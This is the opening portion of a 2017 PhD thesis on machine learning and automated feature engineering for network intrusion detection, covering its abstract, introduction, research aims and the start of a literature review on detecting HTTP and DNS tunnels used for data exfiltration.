Machine learning and feature engineering for computer network security by Davis, Jonathan J.
Machine Learning and Feature
Engineering for Computer Network
Security
by
Jonathan J. Davis
Bachelor of Engineering (Electrical and Electronic) (University of Adelaide) – 1995
Bachelor of Science (University of Adelaide) – 1997
Thesis submitted in accordance with the regulations for
the Degree of Doctor of Philosophy
Faculty of Science and Engineering
Queensland University of Technology
2017

Keywords
Feature engineering; feature extraction; network security; HTTP tunnel; DNS
tunnel; NetFlow; IPFIX; supervised machine learning; traffic classification; ap-
plication identification; and computer security.
i
ii
Abstract
There are currently over 10 billion devices connected to the Internet, with the
number set to double by 2020. Higher connectivity provides important advan-
tages. It allows banks, shops and other services to operate online 24x7. Cus-
tomers can then access these services from their personal devices such as mobile
phones or tablets. Connectivity also enables an unprecedented level of remote
monitoring for tracking, billing, fault diagnosis and repair. Examples include
GPS tracking for logistics, public transport and ride-sharing as well as remote
monitoring of smart meters and building management systems. While increased
connectivity provides many benefits, it also introduces security risks. Hosts and
services connected to the Internet are vulnerable to remote exploitation. Even
hosts indirectly connected to the Internet are potentially vulnerable, e.g. hosts
hidden behind security devices. While significant progress has been made to
protect hosts and networks from attacks, current protection mechanisms are im-
perfect.
This combination of connected and vulnerable hosts has provided a suitable
environment for advanced persistent threats (APTs) to emerge. APTs aim to
compromise networks belonging to governments or commercial organisations in
order to steal information. APTs may maintain their presence within a network
indefinitely, and transmit stolen data out of the target network to their own
network. A popular method to transmit data is by tunnelling it within an existing
network protocol. Therefore, we see detection of protocol tunnelling (a particular
type of covert channel) as a high priority for organisations seeking to prevent
loss of high-value information. It also motivates our work on protocol tunnel
detection in the thesis.
After studying limitations of existing signature-based detection and anomaly
detection approaches to protocol tunnel detection, we propose a complementary
machine learning (ML) approach. ML was chosen since it should allow the de-
iii
tection of attacks without requiring those attacks to be described up front in a
precise signature. Instead, ML algorithms learn from previous attacks and in-
vestigations, enabling them to detect repeated attacks, as well as new attacks
similar to past attacks.
While ML has been applied to network security in a number of research
papers, it has not yet become mainstream in commercial security appliances due
to unique challenges in the field. One challenge is the inability of current ML
algorithms to accept network traffic as direct input. Instead, feature engineering
is required to construct a set of features from network traffic as input to ML.
When performing feature engineering, however, it is not always clear what
features should be constructed from network traffic to suit each security problem.
Often a manual, iterative process guided by domain knowledge is used to search
for suitable features. In an effort to be less ad-hoc, we aim to apply ML to make
data-driven decisions about which features are most relevant. In other words, our
research aims to automate feature engineering so the choice of features is chosen
algorithmically. Automated feature engineering should find key features directly
from network traffic relevant to a computer network security application. Key, or
relevant, features then enable a ML-based classifier to discriminate normal and
malicious traffic. Identifying these relevant features is critical to the performance
of the classifier.
In this thesis, the first contribution is the development of an automated fea-
ture engineering framework to generate a set of candidate features directly from
network traffic. The features can be used by ML algorithms to discriminate nor-
mal and malicious traffic. The framework is designed to generalise to arbitrary
network protocols, although testing of the current implementation is limited to
HTTP and DNS application layer protocols as well as network flow summaries
(NetFlow). As a preliminary validation of the framework, we choose two example
network security problems and build detectors using the framework.
Our second contribution is a case study in which we apply the framework to
the problem of detecting data exfiltration over HTTP tunnels. Detecting such
protocol tunnels is important to prevent further exfiltration of data by an APT.
Our framework is used to automatically generate a set of candidate features
directly from HTTP network traffic, and to identify which of those features are
most relevant to detecting HTTP tunnels.
The third contribution is another case study in which we apply the frame-
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work to the problem of detecting DNS tunnels. DNS is another protocol which
is commonly used to tunnel data. Using our framework, relevant features are
identified directly from DNS network traffic. The features are then applied as
input to a ML classifier for DNS tunnel detection.
Lastly, with a significant fraction of network traffic now encrypted for privacy
and security reasons, we investigated how encrypted traffic could be analysed for
security threats (such as protocol tunnelling). Hence, our fourth contribution is
an extended study of traffic metadata features (e.g. size and timing of packets)
which are available from encrypted traffic. The study was applied to a com-
mon network security function known as “traffic classification”. We describe
which features were found to be most discriminative and their effect on traffic
classification accuracy.
This thesis focussed on addressing the problem of feature engineering from
network traffic so ML can be applied to network security applications. We devel-
oped a framework which automatically generates features directly from network
traffic, and then selects the most relevant features for each application. We
applied the framework in a number of studies aimed at detecting protocol tun-
nelling. We ran experiments to measure their accuracy. Further work is required
to address limitations of our current automated feature engineering approach,
and also to incorporate advances seen in other ML algorithms such as deep
learning.
v
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Chapter 1
Introduction
In this chapter we first introduce the thesis topic and discuss background material
related to the title including computer network security, machine learning and
feature engineering. We then state the research problem, discuss our particular
research aims, and finally list our contributions.
Today, many people rely on the Internet for services such as information
access, worldwide communication, social media, entertainment, and business.
While access to the Internet has provided individuals and organisations many
benefits, it also introduces security risks. A host connected to the Internet opens
the possibility of being hacked by criminals. Even hosts indirectly connected to
the Internet are potentially vulnerable, e.g. hosts hidden behind security devices.
When provided an incentive, criminals can find ways to steal information from
these hosts or infiltrate an organisation’s network, even from the opposite side
of the world.
In 2014 Sony Pictures Entertainment was hacked and confidential data was
leaked. The remote hackers stole personal information, employee emails, com-
pany salaries, and unreleased movies from the film studio. The hackers claimed
to have access to the organisation’s network for a year, stealing 100TB of data
before the intrusion was discovered. In 2015, a cyber crime group known as Car-
banak was estimated to have infiltrated up to 100 banks in 30 countries, stealing
up to US$1 billion dollars [112].
These examples, and many others, demonstrate that computer network secu-
rity is hard to maintain. Software vulnerabilities are common, and best-practice
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security policies are not always followed. Opportunities therefore exist for crim-
inals to gain unauthorised access to computer networks. Network security prac-
titioners are forced to assume that a determined attacker will eventually succeed
in compromising their networks. Hence, as well as trying to prevent network
compromise, they also try to minimise damage when a compromise occurs. This
can include detecting unusual activity such as information being stolen from the
network.
For criminals in a remote location, stealing information requires transmitting
it out of the victim network. A common option for transmitting stolen informa-
tion is to send it over a type of covert channel known as a protocol tunnel. Once
the tunnel is set up, it can be used indefinitely. This motivates our work on pro-
tocol tunnel detection in this thesis. We see detection of such tunnels as a high
priority for organisations seeking to prevent loss of their critical information. We
develop new detectors which make use of machine learning to provide advantages
over previous techniques. However, to use machine learning for network security,
we are required to tackle the problem of how machine learning can be applied to
network traffic.
1.1 Background and Motivation
The title of this thesis is “Machine learning and feature engineering for computer
network security”. To introduce one topic, computer network security, we de-
scribe some existing tools in the field, and their well-known limitations. We then
describe prior research to overcome these limitations, concentrating on machine
learning approaches. Machine learning algorithms require feature engineering,
our second topic. Feature engineering creates a set of features (attributes) from
raw data. We discuss how features, rather than raw data, are generally provided
as input to machine learning algorithms, and hence why feature engineering is
so important to learning performance.
1.1.1 Computer Network Security
Confidentiality, integrity and availability (CIA), the main principles of informa-
tion security, ensure that only authenticated and authorized entities are able
to reliably access secure information. However, these principles can be violated
when vulnerabilities exist in complex software systems. These can be discovered
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and exploited by criminals to gain unauthorized access to systems. To prevent
these security compromises, layers of defense are used. Preventative measures
in the network include proxies, filters, and firewalls. Hosts are also protected
through security measures such as proactive patching, using antivirus (AV), ap-
plication white listing, eliminating unnecessary services, and implementing user
authentication and access controls.
Since prevention mechanisms are imperfect, monitoring for security compro-
mises is required. This is the role of intrusion detection systems (IDSs). IDSs
aim to detect malicious activity in near real-time and raise an alert. Security
operators can then take appropriate actions to minimize any impact of the activ-
ity. IDSs can either be host-based (HIDS) or network-based (NIDS). NIDS can
monitor a whole computer network by tapping it at an appropriate choke point
and analysing the network traffic. They accept traffic in raw pcap1 form, or in
a summarized form such as NetFlow2 records. HIDS monitor individual hosts,
analysing information available on the host such as system calls and log files.
NIDS are designed to passively monitor network traffic. In comparison, net-
work intrusion prevention systems (NIPS) operate in-line with the network traffic
and have active capabilities. This gives them the opportunity to automatically
prevent attacks from reaching their target by dropping malicious network traffic.
In such cases, damage to the organization is prevented, as well as saving oper-
ator investigation and cleanup time. However NIPSs require accurate detection
of attacks, otherwise they risk blocking legitimate traffic and therefore causing
denial of service (DoS). Hence NIPS only use their active capabilities in limited
situations such as when the traffic is certainly an attack.
1.1.2 Attack Lifecycle
NIDS aim to detect all types of malicious behaviour on the network. During an
attack, different behaviours can be observed at different stages of the attack life-
cycle (see Figure 1.1). From a defender’s perspective, the lifecycle is known as the
“kill chain”3. It shows the multiple steps required by an attacker to achieve their
mission, and hence the multiple opportunities for defenders to detect and deny it.
The kill-chain is particularly relevant to countering advanced persistent threats
1Network traffic packet capture API. See http://www.tcpdump.org/
2For NetFlow version 9 see http://www.ietf.org/rfc/rfc3954.txt
3Kill-chain http://blog.airbuscybersecurity.com/post/2014/04/APT-Kill-chain-Part-2-
%3A-Global-view
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Figure 1.1: Attack lifecycle, known as the APT kill chain from a defender’s
perspective
(APT). An APT can be defined as: “A persistent targeted computer attack,
aimed at compromising and keeping access to a government or private company
network in order to steal information”4. APTs may even aim to maintain their
presence within a network indefinitely to gain continual access to information.
The first step of this simplified attack lifecycle is reconnaissance to gather
relevant information about a target. Information may include project names,
email addresses of important employees, and software versions to see if there are
any known vulnerabilities. The second step is to exploit one or more hosts in the
target network in order to gain a foothold. This step commonly involves com-
promising insecure hosts, such as client workstations, by enticing users through
spear-phishing emails to open infected documents or to visit malicious websites.
Many networks have prevention measures to stop exactly these types of exploits,
e.g. intrusion prevention systems, antivirus software and content filtering. How-
ever, a network of hosts running a software suite presents a large attack surface.
A determined attacker is likely to find a weakness which they can exploit, after
which they can install malware (e.g. a backdoor) onto the victim host.
The third step involves the attacker pivoting within the network to other hosts
as a way to strengthen their presence. By infecting multiple hosts, the attacker’s
access is resilient to individual hosts being taken oﬄine. The attacker may also
escalate privileges or move laterally within the organisation to hosts which have
better access to the target information. To maintain their presence with updated
command and control malware, APTs may periodically revisit steps 2 and 3.
The fourth and final stage is exfiltration. At the completion of this stage
the attackers achieve their mission by obtaining a copy of intellectual property
4APT definition http://blog.airbuscybersecurity.com/post/2014/04/APT-Kill-chain-Part-
1-%3A-Definition-Reconnaissance-phase
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or other target information. Exfiltration can be achieved using any protocol
allowed to exit the organisation. Email is one such example, but existing “Data
Loss Prevention” appliances monitor email attachments and hence may detect
important documents being sent externally. More covert exfiltration methods
include setting up a tunnel to transmit data over a standard protocol. In this
thesis we consider such tunnels over both HTTP and DNS. We choose these
protocols because many organisations allow them across their network perimeter.
Organisations choose to do this because providing Web access for their staff is
essential for business. Other protocols such as peer-to-peer (P2P) are often
blocked by organisations and hence can’t be used for tunnelling out of those
organisations.
Ideally an attacker would be detected and stopped at an early stage of the
kill-chain. Opportunities for detection occur both during the initial exploitation
and during lateral movement of the attacker through the network. However, in
situations where an attacker reaches the data exfiltration stage, tunnel detection
is important. Detection is necessary to stop APTs from continuing to exfiltrate
data.
1.1.3 Network Security Functions
Maintaining security in the face of APTs and other threats requires a compre-
hensive approach. Dorofee et al. [58] list four categories of computer network
security functions, as shown in Figure 1.2. The protect function involves hard-
ening networks and hosts to prevent attacks from succeeding. Actions include
installing security patches and using application whitelisting, firewalls and an-
tivirus. The detect function monitors the computer network including network
traffic and host logs. The monitoring may find evidence of an attack which can
then be raised as a security incident. The work in this thesis contributes to the
detect function. The response function takes an incident and responds appropri-
ately such as by remediating compromised hosts. Lessons learned are fed into
the sustain function. They inform improvements to existing capability such as
enhancing the protect function.
Tunnel detection therefore forms only a small part of overall network security
within the detect function. However, it is still an important capability. DNS
tunnels were listed as one of the top emerging threats in 2012, with attackers
having successfully used the technique to steal millions of accounts [169].
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Figure 1.2: Computer network security categories
1.1.4 Detection Classes
A seminal paper by Denning in 1987 formalised an intrusion detection model for
computer and network security [51]. Many IDSs have been developed since then,
with their differing approaches described in a taxonomy [47]. Two broad detec-
tion classes were identified, namely knowledge-based detection and behaviour-
based detection. The first method accumulates knowledge from known attacks,
and uses that knowledge to find subsequent attacks. The second method builds
a model of normal operation and searches for subsequent activity which deviates
from the model. It assumes unusual activity is likely to be malicious. These
methods are also known as misuse detection and anomaly detection respectively.
We use the latter terminology throughout this thesis. The term attack is used
when referring to any malicious activity on the network such as attempted ex-
ploits or bypassing security measures (including protocol tunnelling).
1.1.5 Misuse Detection Pros and Cons
Commercial network security appliances generally use signatures to match traffic
to a list of known-malicious byte patterns. Hence they perform misuse detec-
tion. Once the appliances have identified malicious traffic, they can react by
dropping the traffic, raising a security alert, or blocking future traffic from the
same Internet Protocol (IP) address. Examples of such appliances are NIDS and
application-level gateways. The misuse detection approach has been very suc-
cessful, with modern appliances achieving relatively low false positive rates while
detecting attacks. However, misuse detectors are generally limited to detecting
known attacks and malware.
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NIDS functionality and their signature sets have been updated over time to
match changing threats. Initially NIDS were designed to detect attacks against
exposed network services, such as TCP/IP stack exploits, or buffer overflows
against web, mail, DNS or SQL servers. However, with many vulnerabilities
patched, and basic prevention measures in place such as firewalls, access control
lists and network segmentation, these attacks are now much less likely to suc-
ceed. Instead, more attacks are now focussed on client applications, since they
are seen as an easier target with a large attack surface. For example, attack-
ers target vulnerabilities in web browsers and productivity software by sending
clients carefully crafted javascript or documents. To detect these attacks, some
NIDS perform stateful deep packet inspection of the traffic to extract files sent
over the network, and then analyse the files with signatures to detect malware.
Detection rules are therefore applied only in particular contexts, rather than
to every byte of network traffic. This decreases processing load and increases
detection accuracy. Even so, there are inherent limitations of misuse detection:
1. Novel attacks : Detection is limited to “known malicious” traffic. If at-
tackers build new malware or network exploits (0-days5) they can avoid
signature detection. New malware to avoid detection can simply be vari-
ants of existing malware. Malware kits are readily available which support
polymorphism and metamorphism techniques to make malware variants
[194]. Both techniques preserve malware functionality while altering the
malware executable code for each attack.
2. Obfuscation: Detection can be evaded using traffic obfuscation techniques.
Attackers can obfuscate the attack code while it is on the network using
techniques such as splitting, encoding or encryption.
3. Window of vulnerability : It takes time to create signatures for new threats,
and to deploy them, leaving networks vulnerable during that time window.
Detectors rely on signatures which can only be developed once the malware
is first captured and studied. Signatures are therefore more likely to be
developed for widespread malware (since it is more likely to be noticed and
captured) than for targeted attacks. The detectors also require regular
signature updates.
50-days are exploits of undisclosed software vulnerabilities, hence leaving zero days for a
vendor to supply a patch
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Commercial vendors provide regularly-updated signature sets to protect their
customers from recent malware and network threats. Recently, intelligence feeds
have been added to better keep pace with new threats. Intelligence feed infor-
mation includes file hashes of known malware, and IP addresses and domains of
known compromised hosts. The feeds enable information to be shared quickly
to mitigate the threat of new malware without needing to wait for signatures to
be developed. Each malware instance needs to only be detected once, with the
results then shared to all customers. While intelligence feeds partly mitigate the
window of vulnerability limitation, the other limitations still apply. Hence new
ways to enhance detection systems are required.
1.1.6 Anomaly Detection Pros and Cons
Anomaly detection is a complementary approach to misuse detection. Anomaly
detectors model all “normal” traffic, and then flag any subsequent traffic not
matching the model as anomalous and hence potentially malicious. In practice,
manually specifying the normal model is extremely difficult due to the large
and growing diversity of software and services on computer networks. Hence,
anomaly detectors often take a data-driven approach and build the model from
samples of normal traffic.
An advantage of anomaly detection is its inherent ability to detect novel
activity, and hence its potential to discover previously unseen attacks (known
as 0-days) without requiring signatures. Anomaly detectors are also suited to
detecting obfuscation (attackers hiding their activity), since obfuscation often
results in unusual or outlier traffic patterns. However, current anomaly detectors
also have disadvantages. The main disadvantage is their high false detection
rates. Since false detections are so costly to investigate, anomaly detectors are
not in widespread use. Sommer and Paxson [171] discuss the relative popularity
of misuse and anomaly detectors in real-world deployments: “we find almost
exclusively only misuse detectors in use – most commonly in the form of signature
systems that scan network traffic for characteristic byte sequences”.
False detections in anomaly systems occur when unusual, but benign traffic
is detected as an outlier. They are often caused by simply having an incomplete
model of normal traffic, e.g. the model is built from a traffic sample which is
not representative of all traffic [6]. False detections can also occur when traffic
evolves, such as when new hosts and services are added to the network.
1.1. Background and Motivation 9
1.1.7 The Promise of Machine Learning
Machine learning (ML) is a promising tool to address some of the issues with
anomaly and misuse detectors. ML has been used in a number of research net-
work security applications as discussed in the literature review in Chapter 2.
For anomaly detection, ML has been used to build detailed models of nor-
mal traffic. Being data-driven, ML builds the model from observed traffic. In
contrast, manually specified models only include expected traffic and hence are
usually incomplete, e.g. if the model is based on RFCs6, it will omit proprietary
protocol extensions.
For misuse detection, ML can also extend functionality by finding activity
similar to known intrusion activity. Sommer and Paxson [171] explain “the
strength of machine-learning tools is finding activity that is similar to something
previously seen, without the need however to precisely describe that activity
up front (as misuse detection must)”. We explore this ML capability while
developing network security applications in this thesis.
Despite machine learning being used in many published research network
security applications, the research has not yet translated to mainstream com-
mercial products. This motivates our research. We investigate the reasons for
this lack of ML adoption, and then research some solutions.
Once an organisation knows their network has been compromised, such as via
a tip-off, the intrusion can normally be identified forensically. Forensic analysis of
host and network logs (including network traffic captures) can uncover the extent
of the intrusion. Significant resources are used to investigate the intrusion and
perform network remediation. However, organisations are not likely to invest as
many resources on a daily basis monitoring logs in the hope they may uncover new
intrusions. Instead, security staff are kept busy monitoring misuse-based security
alerts and responding to them. The industry has long recognised the need for
a more proactive approach to network security. It has coined the term threat
hunting7 which refers to proactive searching for threats to prevent or minimise
damage. Hunting requires manual effort and is normally performed by staff
with significant expertise. ML may assist hunting through increased levels of
6An Internet standard, such as for a communication protocol, is defined by a request-for-
comment (RFC) document or set of RFCs.
7“The who, what, where, when, why and how of effective threat hunting”,
https://www.sans.org/reading-room/whitepapers/analyst/who-what-where-when-effective-
threat-hunting-36785
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automation.
1.1.8 Difficulties Applying ML to Network Security
There are a number of difficulties in applying ML to computer network security.
The main difficulty is that network traffic cannot be used directly as input to
current ML algorithms. Instead input data must be formatted as fixed-size fea-
ture vectors. In this thesis we investigate how to construct these feature vectors
from network traffic. We also investigate whether the feature vectors need to be
customised between detection applications.
Since network traffic is information rich, with many possible features to en-
code the information, it is often unclear what features should be constructed.
Should we encode information about users, hosts, applications or protocols?
Should that information be monitored over time, and if so, what length of time?
Most publications have used domain knowledge or an iterative process to con-
struct relevant features for their network security application. The choice of
features has a large impact on the detector’s capability. Hence, a less ad-hoc
approach to constructing feature vectors is desirable.
Other difficulties specific to the field of computer network security include:
• Network traffic has high volume.
• Malicious traffic is normally only a tiny fraction of the total traffic
• Accurately labelled training data is difficult to obtain
• Network traffic has high diversity
• Network traffic evolves
• Network security detectors are expected to have low false detection rates.
We now discuss these difficulties in more detail. Network traffic volumes can
be extremely high, e.g. an organisation with a 100Mbit/sec connection to the
Internet could have more than 1TB of traffic crossing its perimeter each day.
Processing all the traffic with complex machine learning algorithms may not
be cost-effective if it requires extensive computing resources. Within the large
volume of network traffic, only a tiny fraction is expected to be malicious, making
the detection problem analogous to finding a needle in a haystack. This data
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imbalance is a problem for supervised ML because it makes it difficult to model
malicious traffic while also fully representing normal traffic. The imbalance can
instead be exploited by unsupervised anomaly detectors which label outliers as
potentially malicious. However the diversity of network traffic means that many
outliers are simply unusual traffic rather than malicious.
Traffic diversity can be largely attributed to the range of software and services
available on the network. Even the same traffic can appear different depending
on what point in the network the traffic is inspected, the architecture of the
network, and which protocol layers are analysed. Additionally, unusual traffic
patterns can be caused by non-malicious device failures or configuration errors.
Highlighting configuration errors can be useful, but also impedes the search for
security incidents. Building a single model to represent all this diversity is prob-
lematic.
Network traffic evolves over time as new protocols and services are developed.
ML models therefore need to be updated to incorporate these changes. However,
updating models requires new labelled training data. Another difficulty apply-
ing ML to computer network security is that security analysts expect a high
proportion of alerts to indicate malicious activity. However, ML classifiers are
not normally 100% accurate, potentially resulting in many false positives due to
the high traffic volume. Additional steps may be required to limit the number
of false positives.
To overcome the problem of high traffic volume and diversity, most ML-based
implementations referenced in this thesis have concentrated on small parts of
network traffic relevant to a single detection problem. For example, the detector
may only analyse request packets, only a single protocol, or only use metadata
measurements such as packet sizes or packet inter-arrival times. Focussing on
these limited sets of network traffic features has the advantage of significantly
limiting the diversity and volume of traffic information, hence making it more
tractable to model.
However, using only a small set of network traffic features can have disad-
vantages. A small number of features omits most of the information contained
in raw traffic. Once information is removed, the ML algorithm cannot make
use of it to assist classification. For example, to detect an attack, it must be
observable in the selected features. Since attackers have a wide choice of attack
types, it is unlikely that all attacks would be observable in a single, small set
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of features. The likely result is the detectors missing attacks. An attacker may
also use countermeasures to blend in with normal traffic if they know which set
of features are being monitored. To increase the chances of detecting an attack,
the detector should therefore monitor more features, or there should be a suite
of detectors, each monitoring a different set of features.
When choosing a small number of features, there is also the problem of cor-
rectly identifying which parts of the network traffic are relevant. This commonly
requires using domain knowledge, and using a manual and iterative process to
test which traffic features are useful. After completing that process, machine
learning may seem unnecessary, as the information may be simple to encode into
an existing signature-based detection systems.
In summary, a small feature set allows the detector to cope with high traffic
volume and diversity, but it limits the breadth of detection capability. The
important choice of what features to construct from network traffic is part of
feature engineering.
Feature engineering also includes further preprocessing prior to ML in order to
generate more discriminative features. It can involve combining or transforming
features, e.g. rather than using the start and end times of a network traffic
flow, the flow duration = endtime − starttime is likely to be more relevant.
More complex preprocessing includes calculating graph metrics across multiple
network connections, or statistics of a feature during a time window. The open-
ended nature of preprocessing leads to problems stated by Konen [108] as:
• “Which road to follow: random feature construction (try many and throw
away many) or more careful feature construction driven by (complex) guid-
ing principles?”
• “Which general guiding principles can be used for feature formation / con-
struction? Variance (PCA), slowness (SFA), information gain or other,
guided by supervised information ...”
In this thesis we perform feature engineering using some guiding principles,
but with the “try many and throw many away” mentality mentioned by Konen
[108]. We attempt to take advantage of ML’s strengths during feature engineering
by using it to make data-driven decisions about what information (in features)
is most relevant. We contrast this to feature engineering choices being made by
a domain expert who may not even consider some features, thereby potentially
omitting information relevant to a particular problem.
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1.2 Problem Statement
Commercial network security appliances mainly perform misuse detection. They
use knowledge of previous attacks to create signatures which precisely identify
new instances of those attacks, but they cannot be used to identify novel attacks.
A complementary anomaly detection approach can identify novel attacks but at
the expense of falsely identifying novel activity as malicious. These limitations
result in a significant number of attacks being missed, leading to the theft of
intellectual property and other information from vulnerable organisations.
Machine learning has the potential to overcome some limitations of intrusion
detection systems as discussed in Section 1.1.7. However, Section 1.1.8 also iden-
tified challenges in the field which inhibit its application. The main problem
identified is that machine learning cannot be directly applied to network traffic,
but instead only to a fixed set of features constructed from network traffic. Con-
structing these features (in a process called feature engineering) is therefore a
critical step which places bounds on the detector’s capabilities. However, feature
engineering is often an ad-hoc process, using trial and error to find which traffic
features are most relevant to the detection problem. Such a process requires do-
main knowledge, and is time consuming when done iteratively. These difficulties
in feature engineering inhibit the application of ML to network security.
1.3 Research Aims
To address the problem statement, we have the following research aims.
Aim 1: Investigate existing applications of machine learning to computer net-
work security from network traffic, concentrating on their feature engineering
approaches.
Since feature engineering was identified as the main problem, we first explore
existing solutions in the literature. The literature review focusses on network
security papers which analyse network traffic.
Aim 2: Design a feature engineering framework which can be used to auto-
matically find relevant features from network traffic for a given network security
application.
To extend existing misuse-based detection systems, we propose using ML.
Applications using ML can learn from previous attacks and investigations. They
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can detect novel attacks as either similar to known attacks, or as anomalies. They
are also capable of processing large volumes of network data in an automated
way for fast detection. However, in Section 1.1.8 we argued that ML has not
yet become mainstream in computer network security due to challenges unique
to the field. The main challenge identified was constructing relevant features
from network traffic suitable for input to the ML algorithm. Hence we aim to
improve feature engineering so it can automatically identify relevant features.
This should allow machine learning to be more readily applied to network traffic.
Key, or relevant, features enable ML to learn to discriminate normal and ma-
licious traffic. However, if ML is instead provided a set of irrelevant features, the
same algorithm will not be able to discriminate the traffic. Hence, constructing a
set of relevant features is key to classifier performance. This feature engineering
step is often an iterative process guided by domain knowledge in a search for
suitable features. We aim to find a more automated and data-driven solution to
feature engineering.
We aim to design a general automated feature engineering framework which
can be applied to any given network security application provided labelled ex-
amples are available.
Aim 3: Using the automated feature engineering framework from Aim 2, build
detectors for at least two network security applications and test their effectiveness.
We aim to use the framework to find key features from network traffic rel-
evant to protocol tunnelling. The features are then used to train a ML-based
classifier for tunnel detection. In particular we aim to detect both HTTP and
DNS protocol tunnelling as they are a significant threat on enterprise networks.
Aim 4: Investigate the use of traffic metadata features for ML-based network
security applications.
Lastly, given a significant portion of Internet traffic is encrypted for privacy
and security reasons, it is important to understand how to analyse this traffic
to identify malicious activity. Hence, we aim to investigate feature engineering
for encrypted network traffic including traffic metadata features, e.g. size and
timing of packets.
1.4 Research Contributions
The research contributions are:
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Contribution 1: We develop an automated feature engineering framework to
generate a set of candidate features from raw network traffic. The work is de-
scribed in Section 3.2.
We design a feature engineering framework to address Aim 2. The framework
includes a feature construction stage to generate a large set of candidate features,
and a feature selection stage to identify which features are most relevant to a
given application. To test the framework, we perform preliminary experiments
on two additional network security problems.
The work was informed by the literature review in Chapter 2. The review
studies previous work in applying ML to computer network security, concentrat-
ing on the useful features which have been extracted from network traffic (as per
Aim 1).
Contribution 2: We implement automated feature engineering to generate fea-
tures directly from HTTP network traffic. Feature selection was used to find
a subset of features relevant to the detection of HTTP protocol tunnelling, as
described in Section 4.4.
The contribution addresses Aim 3. To verify the contribution, we build a clas-
sifier from the automatically generated features and measure its HTTP tunnel
detection performance. For comparison, we also build a second classifier using
manually derived features based on our analysis of tunnel network traffic and
previous literature. We compare the accuracy of the two classifiers to demon-
strate that features generated automatically are as effective as those generated
manually.
Contribution 3: We implement automated feature engineering to generate fea-
tures directly from DNS network traffic suitable for DNS protocol tunnel detection
in Section 5.3.
This contribution also addresses Aim 3. To verify the contribution we build
classifiers from the automatically generated features and measure detection per-
formance on three DNS tunnel implementations. We interpret the classifier mod-
els to explain how they differentiate DNS tunnels from other DNS traffic.
Contribution 4: We perform an extended study of metadata features for a com-
mon network security function known as “traffic classification”. This addresses
Aim 4, and is described in Chapter 6.
We list which features were found to be most discriminative as well as their
effect on traffic classification accuracy. The study uses standard tools to generate
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a set of metadata features. The automated feature engineering framework from
Section 3.2 is then used to derive additional candidate traffic metadata features
and to select the most relevant set. Traffic classifiers are built from the selected
features with their effectiveness tested on three datasets.
As part of the contribution we also propose a strategy to reduce overfitting by
ensuring training, cross validation and test datasets contain independent network
traffic. The strategy is to ensure each dataset contains different (disjoint) sets of
source IP addresses.
In the next chapter we address Aim 1 by surveying the literature for ML-based
network security applications.
Chapter 2
Literature Review
In Chapter 1 we discussed current issues in computer network security, including
the challenge of detecting protocol tunnelling used by APTs to steal informa-
tion. We also explained the potential of machine learning (ML) as a tool when
developing network security applications. However, difficulties in applying ML
to network security were also listed, with the main difficulty being feature en-
gineering. Feature engineering is a data preprocessing step to convert network
traffic into features for input to ML algorithms.
Therefore, in this literature review, we survey published data preprocessing
techniques for machine learning in the field of computer network security. We
aim to study a wide range of data preprocessing techniques and understand the
types of problems they are suited to. We then aim to identify which of those
techniques are likely to be useful for the detection of protocol tunnelling. Since
the continuous analysis of network traffic requires stream processing, we also
survey ML techniques suitable for such an environment.
In subsequent chapters we study the detection of particular protocol tunnels
in more detail, namely HTTP tunnels and DNS tunnels. Hence a review of
literature specific to detection of those channels is provided in their “related
work” Sections 4.2, 5.2.3. In this chapter we instead keep the literature review
more general by studying data preprocessing for a range of network security
applications.
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2.1 Introduction
Data preprocessing is widely recognized as an important stage in ML. ML is the
use of algorithms which evolve a model according to the data instances (observa-
tions) provided to it. Further observations are compared to the model to make
a prediction. This literature review covers the data preprocessing techniques
used by ML-based network intrusion detection systems (NIDS), concentrating
on which aspects of the network traffic are analysed, and what feature construc-
tion and selection methods have been used.
Motivation for this topic comes from the large impact data preprocessing
has on the accuracy and capability of ML-based detectors. The review of data
preprocessing finds that many detectors limit their view of network traffic to
the TCP/IP packet headers. Time-based statistics can be derived from these
headers to detect network scans, network worm behaviour, and DoS attacks.
A number of other detectors perform deeper inspection of request packets to
detect attacks against network services and network applications. More recent
approaches analyse full service responses to detect attacks targeting clients. The
review covers a wide range of detectors, highlighting which classes of attack are
detectable by each of these approaches.
Data preprocessing is found to predominantly rely on expert domain knowl-
edge for identifying the most relevant parts of network traffic and for constructing
the initial candidate set of traffic features. On the other hand, automated meth-
ods have been widely used for feature extraction to reduce data dimensionality,
and feature selection to find the most relevant subset of features from this candi-
date set. The review shows a trend towards deeper packet inspection to construct
more relevant features through targeted content parsing. These context sensitive
features are suited to detecting current attacks at the application layer.
2.1.1 Network Intrusion Detection Systems
NIDS monitor computer networks for signs of compromise, or attempted com-
promise. In effect, they classify each traffic observation as malicious or not.
They can be designed to either perform misuse detection or anomaly detec-
tion. Misuse-based NIDS detect known malicious activity, while anomaly-based
detect unusual activity. Misuse-based NIDS commonly rely on signatures writ-
ten by domain experts. Hence the term signature-based is synonymous with
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misuse-based as it encodes known malicious patterns. Popular open-source im-
plementations of this type are snort [163] and bro [181]. Commercial NIDS are
also generally misuse-based because, as with AV software, very low false positive
rates can be achieved. These systems require regular signature updates to detect
the latest attacks. However, given the ever increasing list of malware, the job of
constantly analysing and creating signatures is labour intensive. Adding to the
difficulty is the ready availability of toolkits from the Web which allow attackers
to create new malware. The toolkits also allow exploits to be repackaged into
unique malware instances using polymorphism. This has led to speculation that
signature-based AV and intrusion detection is unsustainable [198]. Misuse-based
systems are also generally unable to detect novel or zero-day attacks [6].
To detect novel attacks, anomaly-based NIDS have been proposed. This was
suggested as early as 1987 when Denning [51] formalised an intrusion detection
model. Anomaly-based detection works by first modelling all types of normal
or valid behaviour. When the observed behaviour diverges from this model, an
anomaly is raised. Unfortunately they are prone to false positives which can be
triggered by novel, but non-malicious traffic, since it is difficult to build a model
representative of all possible normal traffic [6]. These false positives are a major
problem for operators monitoring the NIDS, due to the time wasted investigating
them. Even a 1% false positive rate results in a huge number of bogus alerts when
run on the large volumes of traffic common in current networks. This is known
as the base rate fallacy [5]. Anomaly-based approaches are still an active area
of research. This literature review covers more anomaly detectors than misuse
detectors both because anomaly detectors are more actively being researched,
and because they generally use ML (to model normal behaviour).
2.1.2 Data Preprocessing
Data preprocessing is required in all knowledge discovery tasks, including ML-
based NIDS, which attempt to classify network traffic as normal or malicious.
Various formal process models have been proposed for knowledge discovery and
data mining (KDDM), as reviewed by Kurgan and Musilek [111]. These models
estimate the data preprocessing stage to take 50% of the overall process effort,
while the data mining task takes less at 10% to 20%. Improvements in data
preprocessing should therefore have a significant impact on the KDDM process.
For this reason, our review focusses on data preprocessing for NIDS. Standard
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preprocessing steps include dataset creation, data cleaning, integration, feature
